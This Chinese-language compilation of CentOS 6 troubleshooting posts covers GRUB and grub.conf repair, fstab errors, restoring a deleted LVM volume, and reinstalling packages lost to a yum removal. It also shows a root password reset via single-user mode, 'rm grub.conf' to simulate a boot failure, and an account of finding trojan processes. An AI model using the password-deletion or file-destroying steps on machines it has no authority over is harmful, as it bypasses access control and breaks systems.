 如果还不行就执行以下两条命令 在 grub 模式下 

 

1 

2 

grub>root (hd0,0)  

grub>setup (hd0) 
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=======================================================

=======================================================

================== 

 

按 F10 保存退出并重启，启动后 5 秒内按回车键就进入 

 

 

如果 5 秒内没有按回车键将默认启动 Boot，在这里选择 Boot 启

动。 

进入系统后可以按 ctrl+alt+F2 进入字符模式，用 root 帐号登

录，然后挂载硬盘，不然是不能访问硬盘的， 
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mount /dev/sda1 /boot 将硬盘挂载到/boot 目录下 

 

 

进入/root/grub 下查看，发现没有 stage2 文件： 

 

    于是我们生成该文件: 

输入

grub-install  --root-directory=/  /dev/sda 重新生

成 stage2，查看发现有了 stage2。 

重启并选择本地引导即可。如图： 

http://img1.51cto.com/attachment/201312/225028364.png
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选择本地引导： 

 

到此完成。 

 

已经看到 stage2，然后重启看看 

http://img1.51cto.com/attachment/201312/225535685.png
http://img1.51cto.com/attachment/201312/225028165.png
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这时候就已经可以启动了 

 

第三类就是 grub.conf 丢失或者损坏 

执行 rm grub.conf   删除该文件。重启后发现无法启动。 

模拟 grub.conf 丢失，首先查看该文件存在。 

 

执行 rm grub.conf   删除该文件。重启后发现无法启动。 

http://img1.51cto.com/attachment/201312/225631600.png
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=======================================================

=======================================================

======== 

不挂载光盘 

 

原因和修复思路：可能是 grub.conf 文件的配置有问题或者是

/boot/grub 和/boot 下文件丢失，，反正先判断系统里尝试用手

动方式启动，说不定这些文件还在，能启动的话，检查下

grub.conf 对不对 

第一步 

grub>root (hd0,0) 

###如果不知道是不是 boot 装在第一分区，那就用 find 

/grub/grub.conf 确定下 cat （hd0,1）/etc/fstab 能查到/分区的

UUID 

第二步 

  grub> kernel /vmlinuz-2.6.32-642.11.1.el6.i686 ro 

root=/dev/mapper/VolGroup-lv_root 
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###用 kernel空格/按 TAB键出这个文件 ,后面的 root分区可以

用 root=UUID=xxxx 来设定 

第三步 

  grub> initrd /initfsram--xxx 

###6.4 版本已经改名了 

第四步 

  grub>boot 

第五步 

###去改 grub.conf 文件并保存下次正常启动##3 

###编辑 grub.conf### 

default=0 

timeout=5 

titile= RedHat 

  root （hd0,0） 

  kernel \  xxxxx  ro root=xxxxx 

  initrd  \ 

http://www.linuxidc.com/topicnews.aspx?tid=10
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centos6.6 的 grub.conf 配置文件 

default=0 

timeout=5 

splashimage=(hd0,0)/grub/splash.xpm.gz 

hiddenmenu 

title CentOS (2.6.32-504.el6.i686) 

 root (hd0,0) 

 kernel /vmlinuz-2.6.32-504.el6.i686 ro 

root=/dev/mapper/VolGroup-lv_root rd_NO_LUKS 
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LANG=en_US.UTF-8 rd_NO_MD rd_LVM_LV=VolGroup/lv_swap 

SYSFONT=latarcyrheb-sun16 crashkernel=auto 

rd_LVM_LV=VolGroup/lv_root  KEYBOARDTYPE=pc KEYTABLE=us 

rd_NO_DM rhgb quiet 

 initrd /initramfs-2.6.32-504.el6.i686.img 

title CentOS (2.6.32-642.11.1.el6.i686) 
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=======================================================

=======================================================

============================ 
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###如果/boot/下的文件全部丢失的话，那需要 resuce 模式

### 
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输入：chroot /mnt/sysimage ，回车 #将当前目录切换到原来

系统的根目录  

 

将根切换至之前的系统： 

 

3、创建光盘挂载目录并挂载光盘： 
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4、安装 kerner 包，会生成/boo 目录以及内核及 initramfs 

 

5、修复 grub，首先要查看一下自己的磁盘分区情况，以确认 grub

安装在那个磁盘上： 

 

为第一块磁盘安装 grub 引导： 
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6、确认 geub 目录已经生成： 

 

此时系统仍然无法正常启动，因为确认 grub.conf 文件，可以尝

试重启看一下界面： 

 

5、在 grub 界面指定 kernel 和 initramfs 所在路径启动，可以

操作的命令有： 

grub>kernel 内核文件     //设置内核文件的路径 

grub>initrd  镜像文件名  //设置镜像路径 
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grub>boot               //启动指定操作系统 

grub>help               //获取帮助 

grub>reboot             //重启系统 

grub>md5-crypt         //生成口令的 MD5 密文 

grub>setup (hdx[,y])    //安装 GURB 到 MBR/指定分区的引

导扇区中 

grub>hide 分区       //隐藏分区 

grub>cat 文件名      //显示文件内容 

grub>find 文件名     //查找文件 

grub>rootnoveify (hdx,y)  //设置根设备所对应的分区,但不

检查加载点 

grub>chainloader  文件名 //加载指定的文件 

  

在此指定 linux 内核和 initramfs 文件路径，并启动 linux 系统： 
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注： 

grub>  root (hd0,1)  #是说跟分区在第一块硬盘的第二个分

区 

grub>  kernel /boot/vmlinuz-2.6.32-431.el6.x86_64 ro 

root=/dev/sda2 #指明内核路径和根分区 

grub>  initrd  /boot/initramfs-2.6.32-431.el6.x86_64.img 

#指明 initramfs 路径启动系统加载驱动 

grub>  boot  #启动上面指定的系统，如果是 reboot 就等于

重启整个系统了，刚才的设置就失效了 

    此时已经可以引导系统启动了，但是还没有 grub.conf 文件,

可以在系统启动后编写一个 grub.conf 文件即可 
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6、编写 grub.conf 文件： 可以看到，此时系统是没有 grub.conf

文件的，如果重启系统后就无法正常开机了，除非在 grub 界面

指定内核和驱动文件的路径： 

 

创建 grub.conf 文件： 
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注：kernel 一行后面 root=/dev/sda2 是指的根分区所在的磁盘，

假如 boot 分区和根分区没有在一起，则 grub.conf 文件要写明

boot 分区和根分 区，另外不推荐安装磁盘分区的方式写根分区

的路径，因为有可能系统重启后磁盘好会出现变化，因此推荐使

用 UUID 的方式表明，每个分区都有自己的 UUID，是在整个系

统中唯一的身份标示，可以使用命令 blkid /dev/sda2 获取。7、

最后重启系统，以硬盘直接启动测试； 
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当 grub.conf 丢失开机就会这样，那就通过 livecd 进行引导，

然后创建 grub.conf 文件。 

首先还是把硬盘挂载到/boot 目录下，然后切换到

/boot/grub 创建 grub.conf 文件，并进行编辑，编辑内容为： 

default =0 

timeout =5 

hiddenmenu 
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title centos 

root(hd0,0) 

kernel/vimlinuz-2.6.32-358.el6.x86_64 ro 

root=/dev/mapper/vg_nddnd-lv_root rhgb quiet 

initrd/initramfs-2.6.32-258.el6.x86_64.img 

编辑完成后保存退出，重启从本地磁盘引导 

 

这样就完成了。 

第四类就是/boot/grub 丢失 

开机后用 livecd引导，然后挂载硬盘，和前面的一样，然后

执行 grub-install --root-directory=/ /dev/sda 然后进入

/boot/grub 目录下编辑 grub.conf，编辑内容和前面一样。

这里就不在多说了，这种情况其实就是前面三类的综合。 

http://img1.51cto.com/attachment/201312/185806705.png
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第五类就是 root口令丢失 

开机五秒内按回车键 

 

然后按 e 

 

选择第 2 个再按 e 
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然后在后面输入 1 回车，然后再按 b，这样就进入单用户单

任务模式 

 

然后可以通过命令 passwd –d root 删除管理员口令，或

者进行修改。修改完之后重启即可。 

第六类就是其他文件损坏但和 grub引导程序无关 

这种情况多出现在管理员在不小心的情况下误删或者修改里

一些文件，比如说修改了/etc/fstab。就以这种情况为例： 

http://img1.51cto.com/attachment/201312/190121411.png
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当我们开机之后，grub 引导都没有问题，但是最后会提示错

误如图： 

 

并且提示输入管理员密码进入维护模式有的情况是让按回车

键 

 

进入之后找到错误所在的文件进行修改，重启即可。 

以上就是 centos 中常见的故障以及排除。 

 

 

 

CentOS6.4 系统启动失败故障排查 An error occurred during the 

file sytem check 

操作系统启动失败如下图报错： 

http://img1.51cto.com/attachment/201312/190345803.png
http://img1.51cto.com/attachment/201312/190407932.png
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故障现象： 

从图中可以看到，操作系统启动的过程中，fsck 在执行文件系统

检测时出现了错误，并且是在检查

/dev/mapper/VolGroup-lv_home 时出错，提示此文件不存在； 

故障分析： 

这是一个什么界面，为何会出现这个界面? 

http://s3.51cto.com/wyfs02/M02/4D/13/wKiom1RKZXqgHGs6AANK_kNlQys060.jpg
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操作系统启动的的大致过程为：加载 BootLoader-加载

kernel-init 执行系统初始化-用户登录；而在 init 执行系统初

始化的过程中，会执行系统初始化脚本/etc/rc.d/rc.sysinit，在此

脚本中即会执 fsck -A 进行文件系统检测； 

fsck -A 会执行什么操作呢？ 

fsck -A 会遍历文件/etc/fstab，检查其中定义的所有的文件系

统。fsck 在做文件系统检查前通常不会去检查设备是否真实存

在，所以如果某设备不存在，而又去做了 fsck，fsck 即会报错，

继而导致操作系统时会进入文件系统修复模式（file system 

repair mode），而中断正常的系统启动； 

所以，这就是为何会出现此界面的原因了。 

 ===================================

=====================================

=========== 

fsck 命令 

fsck 修复受损的文件系统 

  

Linux 不正常关机，有时候再次启动时会报文件系统损坏，如何

修复文件？ 

http://www.2cto.com/os/
http://www.2cto.com/os/linux/
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首先会让你输入 root 用户的密码。  

1）出错的时候如果告诉你是哪一块硬盘的分区有问题，比如是

/dev/hda3  

接着用如下的命令去对付它呀：  

#fsck -y /dev/hda3  

结束后，reboot。这样就 OK 了！  

2）如果你不知道时哪个地方出了问题。（常用此种方法）  

可以直接  

#fsck  

在随后的多个确认对话框中输入:y  

结束后，reboot。就 ok 了。 

  

说明： 对 Linux 系统中常用文件系统的检查是通过 fsck 工具来

完成的。  

功能说明：检查文件系统并尝试修复错误。 

语  法：fsck [-aANPrRsTV][-t ][文件系统...]  

补充说明：当文件系统发生错误四化，可用 fsck 指令尝试加以修

复。 

参  数：  

-a 自动修复文件系统，不询问任何问题。  

-A 依照/etc/fstab 配置文件的内容，检查文件内所列的全部文件

系统。  
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-N 不执行指令，仅列出实际执行会进行的动作。 

-P 当搭配"-A"参数使用时，则会同时检查所有的文件系统。  

-r 采用互动模式，在执行修复时询问问题，让用户得以确认并决

定处理方式。  

-R 当搭配"-A"参数使用时，则会略过/目录的文件系统不予检

查。  

-s 依序执行检查作业，而非同时执行。  

-t 指定要检查的文件系统类型。  

-T 执行 fsck 指令时，不显示标题信息。  

-V 显示指令执行过程。 

 

=================================================

=================================================

=== 

解决方法： 

既然是 fsck 执行失败，导致操作系统无法继续启动，所以可

以在操作系统启动时，让 fsck 跳过检查这个有问题的

/dev/mapper/VolGrouplv_home 即可正常启动操作系统；（在

/etc/fstab 中设置此项的第个字段 fs_passno 的值设为 0，即意为

fsck 不检查此行） 
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         但是此时文件系统修复模式下所有文件都是只读的，无法编

辑/etc/fstab；所以此时可以选择从系统光盘启动，选择进入紧急

救援模式下去修改文件（因为紧急修复模式不会执行

/etc/rc.d/rc.sysinit，所以不会出现此报错）； 

bash-4.1# chroot /mnt/sysimage 

sh-4.1# vim /etc/fstab             ##将/dev/mapper/VolGrou

plv_home 这一行的第 6 个字段设为 0 

sh-4.1# reboot -r 

  

此时即可正常启动系统，不过中途会看到如下界面： 

 

http://s3.51cto.com/wyfs02/M01/4D/13/wKiom1RKZ8LzU4kiAAHPtG_x4m8874.jpg
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此时已没有 fsck 的报错，但是 mount 挂载文件系统时有一个

failed 的信息，这是因为在系统初始化脚本/etc/rc.d/rc.sysinit 中，

文件系统检测完成后的下一步即是去挂载文件系统； 

并且从此界面可以明确的看到问题的所在了，

/dev/mapper/VolGroup-lv_home 不存在；虽然有此 failed 信息，

但不影响系统可以继续启动； 

绿色圈中的是需等待 SELinux 自动完成重新打标，若不想等

待，可以在系统启动时禁入编辑模式，禁用 SELinux 的启动即可，

如下图： 

 

  

  

  

-------------------------------------------------------

------------- 

http://s3.51cto.com/wyfs02/M02/4D/13/wKiom1RKaESSAihxAADwKCnHGFA003.jpg
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至此操作系统已经可以启动起来，需介绍下背景了，此系统安装

时是按照系统默认的分区布局（partitioning layout），如下图： 

 

         一块硬盘 sda，分成了 sda1 与 sda2 两个分区，sda2 做成物

理卷，基于此物理卷创建的卷组名称为 VolGroup，在此卷组上创

建了 3 个逻辑卷，名称分别为 lv_root、lv_home、lv_swap，并且

此逻辑卷 lv_root 与 lv_home 分别挂载到了文件系统中的/目录和

/home 目录； 

http://s3.51cto.com/wyfs02/M00/4D/13/wKiom1RKaMvzQle7AAGPBvjJ-gE539.jpg
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    所以前文中/dev/mapper/VolGroup-lv_home 即是此系统自动

创建的挂载在/home 的逻辑卷；比如由于误操作（umount、

lvremove），删除了此逻辑卷，然后在重启电脑时，即会出现开

篇处的报错了。 

 -----------------------------------------------------------------------------------------

--------------------------------------------- 

  

现在操作系统已经启动登录，也知道问题所在了，那么接下来如

何恢复此逻辑卷呢？ 

此时，系统中查看此逻辑卷的确是已被删除； 

[root@mysqlhost1 ~]# lvs 

 LV      VG      Attr      LSize   Pool Origin Data%  Move Lo

g Cpy%Sync Convert 

 lv_root VolGroup -wi-ao--- 50.00

g                                              

 lv_swap VolGroup -wi-ao--- 992.00

m                                              

[root@mysqlhost1 ~]# ll /dev/VolGroup/ 

lrwxrwxrwx 1 root root 7 10 月 22 20:27lv_root -> ../dm-0 
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lrwxrwxrwx 1 root root 7 10 月 22 20:27lv_swap -> ../dm-1 

并且由于此逻辑卷是挂载在/home 目录下，此逻辑卷丢失，那么

/home 目录下的数据，是否也是一同丢失了呢？如何恢复/home

目录下原有的数据？ 

lvremove 删除逻辑卷，其只是会清除 LVM 的部分元数据信

息（metadata），真正的数据仍会被完整的保留；即虽然逻辑

卷 lv_home 被删除了，但是/home 下的数据仍然存在，只是现在

暂且看不到； 

并且默人的配置是，LVM 的物理卷、卷组或是逻辑卷发生任

何改动之前，LVM的元数据信息都会自动保存至/etc/lvm/archive

目录下； 

         所以我们只需恢复逻辑卷 lv_home 被删除前的自动备份的

LVM 的元数据信息，逻辑卷 lv_home 即可自动恢复，然后后重新

挂载，即可查看到/home 目录下原有的数据了； 

##查看和卷组 VolGroup 相关的元数据备份信息 

[root@mysqlhost1 ~]# vgcfgrestore --list VolGroup   

  File:          /etc/lvm/archive/VolGroup_00001-560861966.

vg 

  VG name:            VolGroup 
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  Description:    Created *before* executing ‘lvremove /d

ev/VolGroup/lv_home‘ 

  Backup Time:  Wed Oct 22 17:33:17 2014 

    结果中可以看到在执行‘lvremove /dev/VolGroup/lv_home‘之

前，卷组的元数据自动被备份到了文件

/etc/lvm/archive/VolGroup_00001-560861966.vg 中 

##从对应文件中恢复卷组 VolGroup 的那一刻的元数据信息  

[root@mysqlhost1 ~]# vgcfgrestore -f/etc/lvm/archive/V

olGroup_00001-560861966.vg VolGroup 

  Restored volume group VolGroup 

##此时即可看到此逻辑卷 lv_home 了 

[root@mysqlhost1 ~]# lvscan                                  

 ACTIVE           ‘/dev/VolGroup/lv_root‘ [50.00 GiB] inhe

rit 

 inactive         ‘/dev/VolGroup/lv_home‘ [108.54 GiB] in

herit 

 ACTIVE           ‘/dev/VolGroup/lv_swap‘ [992.00 MiB] in

herit 

##激活此逻辑卷 

[root@mysqlhost1~]# lvchange -ay /dev/VolGroup/lv_ho

me               
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[root@mysqlhost1 ~]# lvscan 

 ACTIVE           ‘/dev/VolGroup/lv_root‘ [50.00 GiB] inhe

rit 

 ACTIVE           ‘/dev/VolGroup/lv_home‘ [108.54 GiB] i

nherit 

 ACTIVE            ‘/dev/VolGroup/lv_swap‘ [992.00 MiB] i

nherit 

##恢复/etc/fstab 中刚才做的改动 

[root@mysqlhost1 ~]# vi /etc/fstab   

##重新挂载          

[root@mysqlhost1 ~]# mount -a     

##/home 目录下原有的数据也都可以查看到了                        

[root@mysqlhost1 ~]# ls /home 

 

 

 

记一次错误卸载软件包导致 Linux 系统崩溃的修复解决过程 

首先问题产生的缘由很简单，是我一同事在安装 oracle 一套软

件时，按照要求需要 binutils 软件包的 32 位版本，然而在 Oracle 

Linux 已经装有 64 位，按理说是可以安装 i686 的，我猜应该是

https://segmentfault.com/a/1190000000749515
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32 位的版本低于这个已有的 64 位所以导致冲突而安装失败，因

此同事就用 yum remove binutils，这个命令也奇葩，由于是

root 权限导致依赖于它的 200 多个软件包也被卸载，最终导致网

络断开，系统崩溃，在 vSphere 虚拟机上重新启动发现再也起

不来。下面看问题： 

1. Kernel panic - not syncing: Attempted to kill init! 

 这个错误时在重新启动 Oracle Linux 一开始就出现，查阅的相

关资料得知 Kernel panic问题一般是由驱动模块终端处理终端

问题导致的（不懂。。。），一开始我以为是驱动程序依赖于

binutils 导致被卸载，因此第一反应是想办法把缺失的软件装回

去。实际上，是由于安全访问控制模块 selinux 的问题，参考类

似问题。于是检查 vi /etc/selinux/config时发现

SELINUX=disables，拼写错误，应为 disabled。 

当再次启动没再出现该错误时，我高兴的认为原来这么简单就帮

http://blog.51osos.com/linux/linux-kernel-panic/
http://blog.51osos.com/linux/linux-kernel-panic/
http://stackoverflow.com/questions/12867591/how-to-solve-kernel-panic-not-syncing-attempted-to-kill-init-without-er
http://stackoverflow.com/questions/12867591/how-to-solve-kernel-panic-not-syncing-attempted-to-kill-init-without-er
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同事解决了，事实这根本还没到 200 多个软件包缺失而导致系统

崩溃那一步。 

2. 系统启动加载条完成后，一直 hang 住不动 

 

这无疑要使用 LiveCD 修复系统了，参考 Ultimate method to 

install package from linux rescue mode 或 Using Rescue Mode 

to Fix..Problems。因为知道出问题前做过什么操作，下面直接

上解决问题的过程。 

2.1 将系统 DVD 安装镜像加载到光驱 

再次重启就自动进入安装界面，我们当然选择 rescue mode： 

 

一路按照提示确定（可以不配置 network，这里就不贴图了，很

简单），最终会提供给用户一个 shell 终端，对应的是从 DVD 光

http://www.slashroot.in/ultimate-method-install-package-linux-rescue-mode
http://www.slashroot.in/ultimate-method-install-package-linux-rescue-mode
https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Installation_Guide/rescuemode_drivers.html
https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Installation_Guide/rescuemode_drivers.html
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驱加载进来的系统，执行 chroot /mnt/sysimage才会进入到

原损坏的 Linux 系统，还好 yum和 rpm命令还可以使用，悲剧的

是我并不知道 yum remove命令卸载了哪些软件包。 

 

 

2.2 安装缺失的软件包 

这里得谢天谢地 yum命令的安装卸载日志/var/log/yum.log，

这个日志里清楚的记录了 installed和 erased的所有软件包，

用 rpm 是不可能了，因为 270 多个包的依赖关系难以解决，只

能通过 yum 方式，而由于 rescue 模式没有配置网络，因此只能

使用本地镜像源。 
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在 rescue系统下挂载光驱到待修复系统中的/media目录 

bash-4.1# mount /dev/cdrom /mnt/sysimage/media 

 

chroot进入待修复系统 

bash-4.1# chroot /mnt/sysimage 

 

手动编辑一个仓库源（真实待修复的系统） 

sh-4.1# cd /etc/yum.repos.d/ && vi Oracle-Media.re

po 

[DVD-media] 

name=oracle-$releasever - Media 

baseurl=file:///media 

gpgcheck=0 

enabled=1 
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建议只留 Oracle-Media.repo 文件，其他的.repo 文件都 mv

成.bak，以防连接不了这些源而报错，虽然报错关系不大。 

获取被依赖 erased 掉的软件列表 

你可以将 yum.log中多余的部分去掉，筛选出应该重新安装的 p

ackages： 

sh-4.1# cp /var/log/yum.log{,.bak} 

sh-4.1# less /var/log/yum.log.bak 

Oct 29 20:17:34 Erased: gcc-c++ 

Oct 29 20:18:44 Erased: gcc 

Oct 29 20:22:59 Erased: xorg-x11-drivers 

... 

Oct 29 20:24:46 Erased: iputils 

Oct 29 20:24:46 Erased: udev 

Oct 29 20:24:46 Erased: initscripts 

Oct 29 20:24:46 Erased: hwdata 
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Oct 29 20:24:46 Erased: module-init-tools 

Oct 29 20:24:48 Erased: binutils 

 

下面一条命令应该要彻底解决问题了 

sh-4.1# awk '{print "yum install -y ",$5}' /var/log

/yum.log.bak |sh > /root/yum_install.log 

保险起见，可以查看一下产生的日志文件。此时重启（记得拿出

光盘）应该是修复问题了。但我遇见的问题还没完。 

3. An error occurred during the file system check 

 显然，文件系统损坏。根据提示输入 root 密码后可以进入到 shell

中，网上有办法说执行 fsck命令来修复分区，又说且不能是
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mounted 状态，但无论我怎么去 fsck.ext4 

/dev/mapper/vg_fusion_lv_u1，提示 

WARNING!!!  The filesystem is mounted.   if you con

tinue you ***WILL***  

cause ***SEVERE*** filesystem damage` 

 

Do you really want to continue (y/n)? yes 

 

fsck.ext4: No such file or directory while trying t

o open /dev/mapper/vg_fusion_lv_u1 

 

The superblock could not be read or does not descri

be a correct ext2  

filesystem.  If the device is valid and it really c

ontains an ext2  
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filesystem (and not swap or ufs or something else),

 then the superblock  

is corrupt, and you might try running e2fsck with a

n alternate superblock: 

    e2fsck -b 8193 <device> 

听起来好像还挺严重的，我之前猜想的是不是反复的开关电源来

重启导致 lvm 文件系统 corrupt，但事实我发现

/dev/mapper/vg_fusion_lv_u1不存在，但

lv_fusion_lv_root却完好，执行 lvdisplay发现这个命令根

本不存在，这才发现原来 lvm2 软件没有安装（难道是第 2 部分

安装少许出错？）。 

这下容易多了，反正现在系统不借助 rescue mode就可以起来，

重新安装软件包，但是此时的整个文件系统是 read only，有两

个办法可以解决： 

1. mount -o remount,rw / 

重新挂载根分区为读写，vi /etc/fstab注释掉挂载/u1

的那条记录，此时会正常启动，只是有一个文件系统没有

挂载，但可以正常安装缺失的 lvm2 软件，不妨多执行几遍

2.2 的安装命令。然后手动挂载 mount 
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/dev/mapper/vg_fusion_lv_u1 /u1 应该就没问题了。

记得改回/etc/fstab。 

2. 与 2.2步骤类似，进入 rescue mode→chroot，重新执行

awk '{print "yum install -y ",$5}' 

/var/log/yum.log.bak |sh > 

/root/yum_install.log，确保没有报错且已安装 lvm。 

这下问题总是解决了，避免了删除系统的灾难（测试环境）。 

 

 

/etc/fstab 文件出错,无法进入 Linux 系统 

今天复习 Linux 文件系统管理，在 Linux 系统上挂载了一块新硬

盘之后，然后分区，格式化，一步步走下来，为了能够使该硬盘

在系统启动时自动挂载，于是将之写入了/etc/fstab 文件，然而

在 reboot 之后，Linux 系统无法正常启动，系统显示的情况与

下图类似(因为当时急于处理该故障,因此并未未截图,后来在网

上找了几张图片,大体记录下自己的处理思路) 
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1. 根据系统提示，可以看出是系统不能启动的真正原因是 

/etc/fstab给写错了，系统启动报告Checking filesystems 失

败,此时,根据系统提示,输入 root 密码进入 repair filesystem

模式 

2. 修复过程 

  mount -o remount,rw / #以可读写方式重新挂载文件

系统 

3. 重新修改 /etc/fstab,修改出错处 ,如图 [注意 ,最新的

CentOS 版本已经不再支持以该方式书写卷标了,详细信息请

查看这篇博客下面给出的地址] 

 

4. 总结 

  以上问题的出现是由于错误配置了/etc/fstab 文件，在系

统重启时，无法识别卷标(/other)，从而导致无法正常启动。
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如果在修改/etc/fstab 文件后，运行 mount -a 命令验证一下

配置是否正确，则可以避免此类问题。 

5. 问题的解决过程中，重新 mount /是比较关键的一步

(mount -o remount,rw /)。如果没有此步操作，则文件系统

处于只读状态，导致不能修改配置文件并保存。 

 

 

 

Centos6.6 系统 fstab 故障及 root 用户密码恢复案例 

本章内容包括:通过救援模式修复/etc/fstab 文件、Linux 系统的

root 用户密码忘记如何恢复。 

1.1通过救援模式修复/etc/fstab文件   1.1.1 故障一无 fstab

文件 

故障模拟将系统/etc/目录下的 fstab 文件移动到/opt/目录下移

动走之后发现系统里边无论做什么操作都变成了只读系统。 
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 开机启动按 F2 键进入 BIOS 将 CD-ROM Drive 调到第一项从

光盘启动。 

  

设置完后按 F10 保存退出！ 
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选择进入系统救援模式 
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选择语言默认即可,选择 OK！ 
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 选择键盘类型,保持默认即可！ 

 修复系统不需要网络,所以这里我们选择 NO！ 

 Rescue 程序将查找当前硬盘上是否有已安装的 linux 系统, 

默认在救援模式,硬盘的根分区将挂载到光盘 Linux 环境的

/mnt/sysimage 目录下,默认选项”continue”表示挂载权限
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为读写“Read-only”为只读,此处因为要对系统进行修复,所以

需要有读写权限,一般选择默认选项“continue”。 

 rescue 程序会搜索硬盘是否存在已安装过的 linux 和硬盘分

区,搜索结果显示,找不到 Linux 分区,因为/etc/fstab 文件被删除

了,所以导致系统无法读取 Linux 分区,但是如果找到了,就将它挂

到/mnt/sysimage 里。 
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启动 shell 窗口选择 OK！ 

 我们用 fdisk –l 查看硬盘分区情况,找到原来系统中/目录所在

的磁盘分区如下图所示: 
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 我们将原来系统的根目录挂载到新的挂载点上,如下图所示: 

 进入挂载点将 fstab由当前的opt目录移动到原来的etc目录,

并查看移动后的结果 

  

重新启动系统 

  

系统恢复正常 
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1.1.2 fstab 文件中有错误信息 

我们将/etc/fstab文件中的 swap分区UUID故意加了几个字母,

并将设置为开机自动检测自动备份。 

 开机启动发现系统无法启动了,报错信息如下： 
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根据上面的提示我们输入 root 用户密码进入/etc/fstab 文件修

改其错误的地方即可！(没想到吧竟然连写权限都没有只能读) 
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退出去想别的办法,重新以读写的方式挂载/分区 

  

在次编辑/etc/fstab 修改错误地保存并退出！修改后的结果如下: 

  

重新启动系统 

  

大功告成！ 
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1.2 通过单用户模式恢复 root 用户密码重新启动主机后,在出

现 Grub 菜单时按上下键取消倒计时 

  

进入到内核引导界面按 e 键如下所示: 
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将鼠标定位到 Kernel 这一行按 e 键 

  

在行尾输入”single”也可以换成字母”s”或者数字”1”都

表示进入单用户模式,然后回车。 
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按 b 键将系统引导进入单用户模式,不需要密码即直接进入 shell

环境。 

  

在单用户下,直接运行”passwd root”命令重新设置 root 用户

密码即可！ 
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登录成功！ 

  

 

 

 

Linux 之在 CentOS 上一次艰难的木马查杀过程 
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记一次 Linux 服务器上查杀木马经历 

开篇前言 

Linux 服务器一直给我们的印象是安全、稳定、可靠，性能卓越。

由于一来 Linux 本身的安全机制，Linux 上的病毒、木马较少，

二则由于宣称 Linux 是最安全的操作系统，导致很多人对 Linux

的安全性有个误解：以为它永远不会感染病毒、木马；以为它没

有安全漏洞。所以很多 Linux 服务器都是裸奔的。其实在这次

事件之前，我对 Linux 的安全性方面的认识、重视程度也是有

所不足的。系统的安全性是相对而言的，没有绝对的安全，风险

无处不在。 

案例描述 

我们在云端（中信国际电讯 CPC)的一台 Linux 应用服务器时不

时出现网络中断情况，最开始反馈到系统管理员和网络管理员哪

里，以为是网络方面的问题。在监控系统后，发现在一些时间段

出现高流量的情况，分析发现这台 Linux 服务器只安装了

Tomcat 应用程序，没有任何其它应用程序。产生如此大的流量

很不正常，而且出现网络中断的时刻，就是系统产生高流量的时

刻。当然这些都是我后来才了解到的一些情况，我没有这台服务

器的权限，系统管理员找我看看能分析出啥问题，所以将 root

账号权限给了我。 
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案例分析 

我连接到服务器后，运行 ifconfig 命令，检查网卡的发送、接

收数据情况，如下所示，网卡 eth0 累计发送了 12.3TB 的数据。

这明显不太正常，显然有应用程序一直在往外发包。我特意对比

了另外一台正常的服务器后，验证了这个事实。 

 

那么是那个应用程序在一直往外发送包呢？  我首先检查了

Linux 系统日志，发现了一些错误、告警信息。但是作用不大。

于是在服务器上安装了 NetHogs 应用程序，实时监控 Linux

进程的网络带宽占用情况。 
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监控过程确实发现了一些异常情况的进程： 

1 ：

/home/WDPM/Development/WebServer/apache-tomc

at-7.0.61/cmys 一直在往外发包 

2：/usr/bin/bsd-port/agent 一直在往外发包。 

3：./cmys 一直在往外发包 

4：不时出现下面大量异常进程 
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Shell 

 

1 

2 

3 

[root@LNX17 /]# ps -ef | grep getty 

root      2012     1  0 May22 tty2     00:00:00 /sbin/mingetty 

/dev/tty2 
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4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

15 

root      2014     1  0 May22 tty3     00:00:00 /sbin/mingetty 

/dev/tty3 

root      2018     1  0 May22 tty4     00:00:00 /sbin/mingetty 

/dev/tty4 

root      2020     1  0 May22 tty5     00:00:00 /sbin/mingetty 

/dev/tty5 

root      2022     1  0 May22 tty6     00:00:00 /sbin/mingetty 

/dev/tty6 

root     13835 32735  0 01:02 pts/0    00:00:00 grep getty 

[root@LNX17 tmp]# ll /usr/bin/bsd-port/ 

total 2324 

-rwxr-xr-x. 1 root root 1135000 Jul 17 08:28 agent 

-rwxr-xr-x. 1 root root       4 Jul 17 08:28 agent.conf 

-rw-r--r--. 1 root root      27 Jul 21 12:42 cmd.n 

-rw-r--r--. 1 root root      73 Aug 21 21:30 conf.n 

-rwxr-xr-x. 1 root root 1223123 Aug 21 04:08 getty 

-rwxr-xr-x. 1 root root       5 Aug 21 04:08 getty.lock 
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搜索/usr/bin/bsd-port/agent 等进程相关资料，发现很多关

于木马、后门方面的文章，严重怀疑服务器被挂马了。手工杀进

程 或 手 工 删 除

/home/WDPM/Development/WebServer/apache-tomc

at-7.0.61/cmys 文件，发现不过一会儿，又会出现相同的进程

和文件。于是下载安装了 AVG ANTIVIRUS FREE – FOR 

LINUX 这款杀毒软件，但是启动服务失败，不想折腾，于是安

装了 ClamAV 杀毒软件 

 

ClamAV 介绍 

ClamAV 是一个在命令行下查毒软件，因为它不将杀毒作为主

要功能，默认只能查出您计算机内的病毒，但是无法清除，至多

删除文件。ClamAV 可以工作很多的平台上，但是有少数无法

支持，这就要取决您所使用的平台的流行程度了。另外它主要是

来防护一些 WINDOWS 病毒和木马程序。另外，这是一个面向

服务端的软件。 

下载 ClamAV 安装包 
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ClamAV 的 官 方 下 载 地 址 为

http://www.clamav.net/download.html 我 直 接 使 用

wget 下载源码安装文件。 

Shell 

 

1 

2 

3 

4 

5 

6 

7 

8 

9 

1

0 

1

1 

1

2 

[root@LNX17 tmp]# wget 

http://nchc.dl.sourceforge.net/project/clamav/clamav/0.97.6/cl

amav-0.97.6.tar.gz 

--2015-08-21 

21:58:36--  http://nchc.dl.sourceforge.net/project/clamav/clamav/0

.97.6/clamav-0.97.6.tar.gz 

Resolving nchc.dl.sourceforge.net... 211.79.60.17, 

2001:e10:ffff:1f02::17 

Connecting to nchc.dl.sourceforge.net|211.79.60.17|:80... 

connected. 

HTTP request sent, awaiting response... 200 OK 

Length: 14765896 (14M) [application/x-gzip] 

Saving to: “clamav-0.97.6.tar.gz” 

  

100%[==========================================
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1

3 

1

4 

1

5 

1
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1

7 

1

8 

1

9 

2

0 

2

1 

2

2 

2

====================>] 14,765,896   652K/s   in 71s      

  

2015-08-21 21:59:48 (204 KB/s) - “clamav-0.97.6.tar.gz” saved 

[14765896/14765896] 

  

[root@LNX17 tmp]# wget 

http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.

7.tar.gz 

--2015-08-21 

22:00:24--  http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/

zlib-1.2.7.tar.gz 

